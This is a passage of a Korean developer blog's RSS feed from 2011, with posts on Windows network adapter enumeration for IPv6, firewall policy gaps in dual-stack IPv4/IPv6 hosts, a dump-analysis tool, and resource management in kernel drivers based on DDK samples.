union {&lt;br /&gt;
ULONGLONG Alignment;&lt;br /&gt;
struct {&lt;br /&gt;
ULONG Length;&lt;br /&gt;
&lt;b&gt; DWORD IfIndex;&lt;/b&gt;        &lt;br /&gt;
};&lt;br /&gt;
};&lt;br /&gt;
struct _IP_ADAPTER_ADDRESSES *Next;&lt;br /&gt;
PCHAR AdapterName;&lt;br /&gt;
PIP_ADAPTER_UNICAST_ADDRESS FirstUnicastAddress;&lt;br /&gt;
PIP_ADAPTER_ANYCAST_ADDRESS FirstAnycastAddress;&lt;br /&gt;
PIP_ADAPTER_MULTICAST_ADDRESS FirstMulticastAddress;&lt;br /&gt;
PIP_ADAPTER_DNS_SERVER_ADDRESS FirstDnsServerAddress;&lt;br /&gt;
...&lt;br /&gt;
DWORD IfType;&lt;br /&gt;
IF_OPER_STATUS OperStatus;&lt;br /&gt;
DWORD Ipv6IfIndex;&lt;br /&gt;
DWORD ZoneIndices[16];&lt;br /&gt;
PIP_ADAPTER_PREFIX FirstPrefix;&lt;br /&gt;
} IP_ADAPTER_ADDRESSES, *PIP_ADAPTER_ADDRESSES;&lt;br /&gt;
&lt;br /&gt;
두 구조체에 Interface Index 필드가 존재 하는것을 볼 수 있습니다.&lt;br /&gt;
&lt;br /&gt;
그래서 이와 같이 하면 될 것 입니다... GetAdaptersInfo 를 통해 인터페이스를 Enumeration 합니다. 그리고 GetAdaptersAddresses 를 통해 열거할 때 Interface Index 값을 보고 먼저 열거해 두었던 인터페이스 정보와 매치 시켜서 같은 값의 인터페이스에 GetAdaptersAddresses 를 통해 얻었던 Ipv6 정보를 저장합니다.&lt;br /&gt;
&lt;br /&gt;
알고나면 아무것도 아닌데... 처음 할 땐 해매게 되더군요.&lt;br /&gt;
&lt;br /&gt;
% 참고로 네트워크 인터페이스 라는 용어와 네트워크 어댑터라는 용어를 혼동하지 마세요. 네트워크 인터페이스 하드웨어를 네트워크 어댑터 혹은 네트워크 인터페이스 카드(NIC)라고 하며, 네트워크 인터페이스는 그보다 상위 개념입니다.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-1267399457616748375?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/pcbdUlyXZTNcM78oEL6dWVTlt_4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pcbdUlyXZTNcM78oEL6dWVTlt_4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/pcbdUlyXZTNcM78oEL6dWVTlt_4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pcbdUlyXZTNcM78oEL6dWVTlt_4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/sURBXcdp6Cw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/sURBXcdp6Cw/ipv6-getadaptersinfo-getadaptersaddress.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/07/ipv6-getadaptersinfo-getadaptersaddress.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-255107812212700459</guid><pubDate>Fri, 08 Jul 2011 04:24:00 +0000</pubDate><atom:updated>2011-07-07T21:34:10.279-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">IPv6</category><title>IPv6 듀얼스택의 보안상 문제점.</title><description>windows 비스타/7 은 IPv6와 v4를 기본으로 지원하는 운영체제입니다.&lt;br /&gt;
그리고 프로토콜 스택은 듀얼 스택 형식으로 작성되어 있어서 IPv6 로의 전환기에 있는 현 시점을 반영하고 있습니다. 듀얼스택은 네트워크 I/O에 대해 기본적으로 V6 로 구동했다가 V6 I/O 가 수행되지 않았을 경우 V4 로 재 수행되는 구조를 가집니다. &lt;br /&gt;
소켓 응용 개발자 입장에서도 IPv4 와 v6 양쪽에 바인딩 가능한 소켓을 열수 있도록 지원하고 있습니다. 지난 포스팅에 잠깐 언급했듯이 WSK(Winsock Kernel)의 경우는 WSK 클라이언트를 작성하는 것 만으로 V6와의 바인딩이 보장됩니다. &lt;br /&gt;
이와 같이 듀얼 스택은 당장 V6로 이행되기 어려운 legacy 환경과 V6 환경의 호환과 통합을 위한 어쩔 수 없는 선택이라고 할 수 있습니다.&lt;br /&gt;
당분간은 네트워크 모듈을 작성할 때 V4와 V6 를 양쪽 다 고려하면서 작성해야 합니다. 정말 피곤해졌죠. &lt;br /&gt;
&lt;br /&gt;
그런데 이러한 듀얼스택 구조는 네트워크 보안 측면에서 중요한 이슈들을 내포하고 있습니다.&lt;br /&gt;
그것들 중 하나에 대해 얘기를 하자면,,,&lt;br /&gt;
하나의 호스트는 여러 네트워크 인터페이스를 가질 수 있으며 인터페이스는 V4주소와 V6주소를 동시에 가질 수 있습니다. 듀얼스택 구조이기 때문에...&lt;br /&gt;
&lt;br /&gt;
당장 ipconfig /all 로 확인해 보면 한개의 인터페이스에 V4,V6 주소가 동시에 설정되어 있음을 볼 수 있습니다. 물론 이때의 V6 주소는 링크-로컬 주소로 쉽게 말해 로컬 네트웍에서만 사용되는 자동설정 주소 입니다. &lt;br /&gt;
&lt;br /&gt;
여기서 가장 큰 문제는 기존에 Rule(정책)기반의 방화벽은 IPv4주소를 기반으로 한 룰 만을 취급해 왔다는 점입니다. 이제는 V6 룰도 같이 설정해야 한다는 겁니다.&lt;br /&gt;
실제 테스트를 해보면 (로컬네트웍 파일 복사와 같은) V4 룰만 설정해선 제대로 된 제어가 이루어지지 않음을 알 수 있습니다. (V4정책에 차단된 I/O가 V6패킷으로 I/O 바운드 되어 버립니다.)&lt;br /&gt;
결국 한 호스트에 대한 방화벽 정책은 V4와 V6 룰 양쪽 다 설정해야 한다는 결론이 내려집니다.&lt;br /&gt;
&lt;br /&gt;
이 얼마나 피곤한 일이겠습니까... 특히 네트워크 보안 담당자들은 이런 귀찮음을 무지하게 싫어 하죠. 더구나 V6 주소는 16바이트로 관리하기도 까다롭습니다. &lt;br /&gt;
&lt;br /&gt;
이제 보안 담당자들은 방화벽 개발자들에게 요구해 올 것입니다. &lt;br /&gt;
'나는 V4 주소 정책만 가지고 있으니 V6 는 방화벽에서 알아서 관리될 수 있게 해달라'&lt;br /&gt;
'아니면 최소한 V6를 편하게 관리할 수 있는 UI를 만들어 달라'&lt;br /&gt;
&lt;br /&gt;
이런 시츄에이션이 그려지면서 벌써 머리가 아파오기 시작합니다. 이 바닥을 떠날 날이 얼마 안남은 것일까요... &lt;br /&gt;
&lt;br /&gt;
우울하네요... ㅎㅎ&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-255107812212700459?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/JqyfrckRhYNBYvT_r2idR4hAuLE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JqyfrckRhYNBYvT_r2idR4hAuLE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/JqyfrckRhYNBYvT_r2idR4hAuLE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JqyfrckRhYNBYvT_r2idR4hAuLE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/GJzvklk9LuA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/GJzvklk9LuA/ipv6.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/07/ipv6.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-6950539593253224795</guid><pubDate>Thu, 07 Jul 2011 02:31:00 +0000</pubDate><atom:updated>2011-07-06T20:11:15.114-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Dump</category><title>응용 덤프 분석 tool PEBrowse</title><description>http://www.smidgeonsoft.prohosting.com/pebrowse-crash-dump-analyzer.html&lt;br /&gt;
&lt;br /&gt;
응용 덤프의 경우 로딩된 모듈들(PE)을 분석해 주는 tool 입니다.&lt;br /&gt;
덤프 분석시 노가다 뛰어야 할 일들을 많이 줄여주는 좋은 도구가 될 것 같네요.&lt;br /&gt;
&lt;br /&gt;
이런 거 만들어서 free로 공개하는 사람들은 참 대단합니다~ 그냥 땡큐죠~... &lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-20lly4qCpVw/ThUaX65ApII/AAAAAAAAA6c/WvK8T2bnwTw/s1600/pebrowse.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="159" width="320" src="http://3.bp.blogspot.com/-20lly4qCpVw/ThUaX65ApII/AAAAAAAAA6c/WvK8T2bnwTw/s320/pebrowse.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-6950539593253224795?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/e1ON-rAZKO7PEHKJLbIq1HiOPtk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/e1ON-rAZKO7PEHKJLbIq1HiOPtk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/e1ON-rAZKO7PEHKJLbIq1HiOPtk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/e1ON-rAZKO7PEHKJLbIq1HiOPtk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/Me63061wEQA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/Me63061wEQA/tool-pebrowse.html</link><author>noreply@blogger.com (reinhard v.z.)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-20lly4qCpVw/ThUaX65ApII/AAAAAAAAA6c/WvK8T2bnwTw/s72-c/pebrowse.png" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/07/tool-pebrowse.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-2600661756538335414</guid><pubDate>Wed, 06 Jul 2011 01:34:00 +0000</pubDate><atom:updated>2011-07-06T18:15:12.279-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Driver</category><title>DDK Sample 을 참고하여 상용 모듈을 개발할 때 잊지 말아야 할 것 한가지.</title><description>흔히 많이 하는 혹은 많이 듣는 얘기 중 하나가 &lt;br /&gt;
"MS Sample 그대로 했는데, 안된다. 이해할 수 없다. (심지어) MS 문제다."&lt;br /&gt;
뭐 요런 식의 어법을 쓰는 사람들을 종종 보게 됩니다.(저도 그 부류 중의 하나였었죠. ㅎㅎ)&lt;br /&gt;
&lt;br /&gt;
MS 에서 DDK를 통해 제공하는 Sample 의 주석을 보면 정확히 명기 되어 있죠. "Sample 은 Sample 일 뿐 책임 안진다." 뭐 이런 비슷한 문구였던 것으로 압니다.&lt;br /&gt;
&lt;br /&gt;
그럼에도 우리는 커널드라이버 개발을 MS에서 제공하는 Sample 을 기반으로 해서 개발을 해야 하는 입장이기 때문에 막상 개발을 해 놓고 난 후 Sample 자체의 오류라든지 결함이 발생되면 MS 를 욕하면서 Sample 을 제대로 안 만들어 놨다고 투덜대기 일 쑤 이죠. 이런 경험들을 한 두번씩은 해보셨을 겁니다.&lt;br /&gt;
&lt;br /&gt;
MS 의 Sample을 기반으로 해서 작성할 때 가장 중요한 부분은 커널 드라이버에서 사용하는 자원에 대한 관리를 해주는 Resource Manager 의 구현을 Sample 코드에 부가해서 개발해 주어야 한다는 점 입니다.&lt;br /&gt;
&lt;br /&gt;
자원의 관리라 함은...&lt;br /&gt;
&lt;br /&gt;
1)메모리 및 커널 자원 사용에 대한 관리 &lt;br /&gt;
2)I/O (IRP) 와 그와 연관된 쓰레드 컨텍스트에 대한 관리&lt;br /&gt;
3)인터럽트, DMA 등 하드웨어와 연관된 자원에 대한 관리.&lt;br /&gt;
&lt;br /&gt;
와 같은 것들 이겠죠.&lt;br /&gt;
&lt;br /&gt;
DDK의 Sample 을 보면 이와 같은 형식으로 대부분 구현되어 있습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;strike&gt;AcquireSpinLock()&lt;/strike&gt;&lt;br /&gt;
AcquireLock()&lt;br /&gt;
AllocatePool()&lt;br /&gt;
&lt;br /&gt;
WaitForSingleObject()&lt;br /&gt;
&lt;br /&gt;
DeAllocatePool()&lt;br /&gt;
&lt;strike&gt;ReleaseSpinLock()&lt;/strike&gt;&lt;br /&gt;
ReleaseLock()&lt;br /&gt;
&lt;br /&gt;
자원 할당과 해제에 있어서 전형적인 Windows 의 구현방식이죠(샌드위치 코드라고도 하죠~)&lt;br /&gt;
&lt;br /&gt;
위 코드에 무슨 문제가 발생할 수 있을까요?...&lt;br /&gt;
&lt;br /&gt;
답을 빨리 내 놓을 수 있다면 커널드라이버 작성에 능숙한 개발자라 할 수 있습니다.(일반 응용에서도 비슷합니다.)&lt;br /&gt;
&lt;br /&gt;
위 코드에서 주의할 점은 Wait~ 하고 컨텍스트 스위칭이 발생한 이 후 해당 쓰레드의 컨텍스트가 사라져 버릴 수 있다는 것 입니다.&lt;br /&gt;
'도데체 그런일이 왜 일어나지?' 라고 물으신다면 해당 쓰레드가 강제로 종료된다든지 하는 경우를 예로 들을 수 있겠습니다. &lt;br /&gt;
(쓰레드가 의도치 않게 강제로 종료된다든지 하는 경우는 심심치 않게 나오는 경우입니다.)&lt;br /&gt;
&lt;br /&gt;
위 코드는 결국 Wait 한 이후 쓰레드 컨텍스트가 사라지고 획득했던 락이 안풀리는 결과를 가져오게 되고 결국 행이 발생될 것입니다.(더불어 메모리 릭도 같이)&lt;br /&gt;
&lt;br /&gt;
위의 코드는 한가지 예일 뿐이며... 그외 여러 예외적인 상황들에 대해 처리가 제대로 되려면&lt;br /&gt;
&lt;br /&gt;
이에 대한 방안으로 리소스 관리자를 별도로 구현하라는 것입니다.&lt;br /&gt;
&lt;br /&gt;
드라이버에서 사용하는 자원(메모리,락을 포함한 동기화 프리미티브...등등)을 드라이버 내의 별도의 Manager 코드에서 관리해 주는 것입니다.&lt;br /&gt;
&lt;br /&gt;
위 코드 같은 경우는 쓰레드가 강제종료되는 시점을 받아서 락의 해제등의 처리가 이루어져야 합니다.&lt;br /&gt;
&lt;br /&gt;
두고보세요~... 이러한 관리자 없이 그때 그때 예외처리하는 방식만으로는 유지보수를 감당하기 어려워 질 날이 올 겁니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
정리하자면,,,&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;상용 드라이버 모듈을 DDK의 Sample을 기반으로 개발하려면, &lt;br /&gt;
최초 설계의 시점에서 ...&lt;br /&gt;
드라이버 내에서 사용할 자원들을 모두 나열하고...&lt;br /&gt;
이를 관리할 Manager를 구현하는 습관을 들이시기 바랍니다... &lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
'뭐 보통 다들 이렇게 만들지 않나요?' &lt;br /&gt;
라고 누가 그러네요...ㅎㅎ&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-2600661756538335414?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/QGXVAClccIbY9-WrL6eFlqKMUEE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QGXVAClccIbY9-WrL6eFlqKMUEE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/QGXVAClccIbY9-WrL6eFlqKMUEE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QGXVAClccIbY9-WrL6eFlqKMUEE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/3iOwRtBnu2Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/3iOwRtBnu2Y/ddk-sample.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/07/ddk-sample.html</feedburner:origLink></item></channel></rss>

